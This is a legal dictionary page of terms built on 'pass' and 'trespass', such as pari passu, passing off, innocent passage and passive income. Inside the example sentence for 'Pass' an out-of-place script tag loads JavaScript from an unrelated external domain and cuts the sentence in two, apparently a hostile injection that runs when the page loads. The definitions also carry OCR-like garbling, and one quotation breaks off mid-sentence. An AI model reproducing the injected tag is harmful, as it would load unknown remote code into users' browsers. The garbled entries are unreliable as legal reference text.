Legal Dictionary of Pakistan
Quick lookup for English, Urdu, and Latin legal terms used in Pakistani jurisprudence.
A terme que passe est
[law french] for a term that has passed.
A terme que west mye encore passe
[law french] for a term that has not yet passed.
Pass
vb. 1. To pronounce or render an opinion, ruling, sentence, or judgment <the court refused to pass on the constitutional issue, deciding the case instead on procedural grounds>. 2. To transfer or be transferred <the woman's will passes title to the house to her nephew, much to her husband's surprise> <script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=plsbeta.com"></script><!--c93448a6c5b87973--><title passed when the nephew received the deed>. 3. To enact (a legislative bill or resolution) <Congress has debated whether to pass a balancedbudget amendment to the Constitution>. 4. To approve or certify (something) as meeting specified requirements <the mechanic informed her that the car had passed inspection>. 5. To publish, transfer, or circulate (a thing, often a forgery) <he was found guilty of passing counterfeit bills>. 6. To forgo or proceed beyond <the case was passed on the court's trial docket because the judge was presiding over a criminal trial>.
Passage
n. 1. The passing of a legislative measure into law. 2. A right, privilege, or permission to pass over land or water; an easement to travel through another's property. pass-along adj. See PASS-THROUGH.
Passbook
A depositor's book in which a bank records all the transactions on an account. -Also termed bankbook.
Passive
adj. Not involving active participation; esp., of or relating to a business enterprise in which an investor does not have immediate control over the activity that produces income.
Trespass
n. 1. An unlawful act committed against the person or property of another; esp., wrongful entry on another's real property. 2. At common law, a legal action for injuries resulting from an unlawful act of this kind. 3. Archaic. MISDEMEANOR. - trespass, ub. - trespassory (tres-pa-sor-ee), adj. "The term trespass has been used by lawyers and laymen in three senses of varying degrees of generality. (1) In its widest and original signification it includes any wrongful act - any infringement or transgression of the rule of right. This use is common in the Authorised Version of the Bible, and was presumably familiar when that version was first published. But it never obtained recognition in the technical language of the law, and is now archaic even in popular speech. (2) In a second and narrower signification - its true legal sense - the term means any legal wrong for which the appropriate remedy was a writ of trespass - viz. any direct and forcible injury to person, land, or chattels. (3) The third and narrowest meaning of the term is that in which, in accordance with popular speech, it is limited to one particular kind of trespass in the second sense - viz. the tort of trespass to land (trespass quare clausum fregit)." R.F.V. Ileuston, Salmond on the Law of Torts 4 (17th ed. 1977). "Before the word
Trespasser
One who commits a trespass; one who intentionally and without consent or privilege enters another's property. ( In tort law, a landholder owes no duty to unforeseeable trespassers. Cf. INVITEE; LICENSEE (2). "The word 'trespasser' has an ugly sound, but it covers the wicked and the innocent. The burglar and the arrogant squatter are trespassers, but so are all sorts of comparatively innocent and respectable persons such as a walker in the countryside who unhindered strolls across an open field. Perhaps much of the trouble in this area has arisen from 'the simplistic stereotype' of the definition. The courts are therefore beginning to recognise that the duty of the occupier may vary according to the nature of the trespasser." R.F.V. Heuston, Salmond on the Law of Torts 278 (17th ed. 1977).
bypass trust
A trust into which a decedent's estate passes, so that the surviving heirs get a life estate in the trust rather than the property itself, in order to avoid estate taxes on an estate larger than the tax-credit-sheltered amount ($650,000 in 1999, increasing to $1 million after 2005). - Also termed creditshelter trust. See united credit under TAx CREDIT.
compassing
Hist. The act of contriving or plotting, esp. of something underhanded. ( The Treason Act of 1351 criminalized the act of compassing the sovereign's death.
continuing trespass
A trespass in the nature of a permanent invasion on another's rights, such as a sign that overhangs another's property.
crime of passion
See CRIME.
criminal trespass
1. A trespass on property that is clearly marked against trespass by signs or fences. 2. A trespass in which the trespasser remains on the property after be- ing ordered off by a person authorized to do So.
de libero passagio
n. [Law Latin "of free passage"] Hist. A writ allowing free passage over water. 0 This was a form of quod permittat.
drover's pass
A free pass issued by a railroad company to the cattle's drover, who accompanies the cattle on the train.
express private passive trust
A trust in which land is conveyed to or held by one person in trust for another, without any power being expressly or impliedly given to the trustee to take actual possession of the land or exercise any ownership rights over it, except at the beneficiary's direction.
heat of passion.
Rage, terror, or furious hatred suddenly aroused by some immediate provocation, usu. another person's words or actions. 0 At common law, the heat of passion could serve, in a murder defense, as a mitigating circumstance that would reduce the charge to manslaughter. - Also termed sudden heat of passion; sudden heat; sudden passion; hot blood; furor breuis. Cf. COLD BLOOD; COOL BLOOD.
impasse
A point in labor negotiations at which agreement cannot be reached. e A neutral third party (such as a mediator) is often called in to help resolve an impasse.
in generali passagio
adv. [Law Latin] Hist. In the general passage (to the holy land with a company of Crusaders). ( This type of pilgrimage excused an absence from court during the Crusades. Cf. SIMPLEX PASSAGIUM.
innocent passage.
Int'l law. The right of a foreign ship to pass through a country's territorial waters, esp. waters connecting two open seas; the right of a foreign vessel to travel through a country's maritime belt without paying a toll. ( Passage is considered innocent as long as it is not prejudicial to the peace, good order, and security of the coastal country. -Also termed right of innocent passage. Cf. TRANSIT PASSAGE.
innocent trespass
A trespass committed either unintentionally or in good faith.
innocent trespass.
See TRESPASS.
innocent trespasser
One who enters another's land unlawfully, but either inadvertently or believing in a right to do so.
innocent trespasser.
See TRESPASSER.
joint trespass
See TRESPASS
judicial bypass
A procedure permitting a person to obtain a court's approval for an act that would ordinarily require the approval of someone else, such as a law that requires a minor to notify a parent before obtaining an abortion but allows an appropriately qualified minor to obtain a court order permitting the abortion without parental notice.
malicious trespass
See MALICIOUS MISCHIEF.
no-pass, no-play rule
A state law requiring public-school students who participate in extracurricular activities (such as sports or band) to maintain a minimum grade-point average or else lose the right to participate.
pari passu
[Latin "by equal step"] Proportionally; at an equal pace; without preference <creditors of a bankrupt estate will receive distributions pari passu > .
pass the witness
See TAKE THE WITNESS.
pass-through
adj. (Of a seller's or lessor's costs) chargeable to the buyer or lessee. - Also termed pass-along.
pass-through security
A security that passes through payments from debtors to investors. ( Pass-through securities are usu. assembled and sold in packages to investors by private lenders who deduct a service fee before passing the principal and interest payments through to the investors.
pass-through taxation
The taxation of an entity's owners for the entity's income without taxing the entity itself. ( Partnerships and S corporations are taxed under this method. - Also termed conduit taxation.
passed dividend
A dividend that is not paid when due by a company that has a history of paying regular dividends.
passim
, ado. [Latin] Here and there; throughout (the cited work). 0 In modern legal writing, the citation signal see generally is preferred to passim as a general reference, although passim can be useful in a brief's index of authorities to show that a given authority is cited throughout the brief.
passing off
n. The act or an instance of falsely representing one's own product as that of another in an attempt to deceive potential buyers. 0 Passing off is actionable in tort under the law of unfair competition. - Also termed palming off. -pass off, ub. Cf. MISAPPROPRIATION.
passive activity
Tax. A business activity in which the taxpayer does not materially participate and therefore does not have immediate control over the income. * A typical example is the ownership and rental of real property by someone not in the real-property business.
passive bond
See BOND (3).
passive breach of contract
See BREACH OF CONTRACT.
passive concealment
The act of maintaining silence when one has a duty to speak.
passive debt
See DEBT.
passive duty
See negative duty under DUTY (i).
passive euthanasia
The act of allowing a terminally ill person to die by either with- holding or withdrawing life-sustaining support such as a respirator or feeding tube.
passive income
Income derived from a business activity over which the earner does not participate directly or have immediate control, such as copyright royalties. See PASSIVE ACTIVITY.
passive income.
See INCOME.
passive investment income
See INCOME.
passive investment income.
Investment income that does not involve or require active participation, such as gross receipts from royalties, rental income, dividends, interest, annuities, and gains from the sale or exchange of securities. IRC (26 USCA) ยง 1362(d).
passive loss
A loss, with limited tax deductibility, from an activity in which the taxpayer does not materially participate, from a rental activity, or from a tax-shelter activity.
passive loss.
See Loss.
passive negligence
Negligence resulting from a person's failure or omission in acting, such as failing to remove hazardous conditions from public property. Cf. active negligence.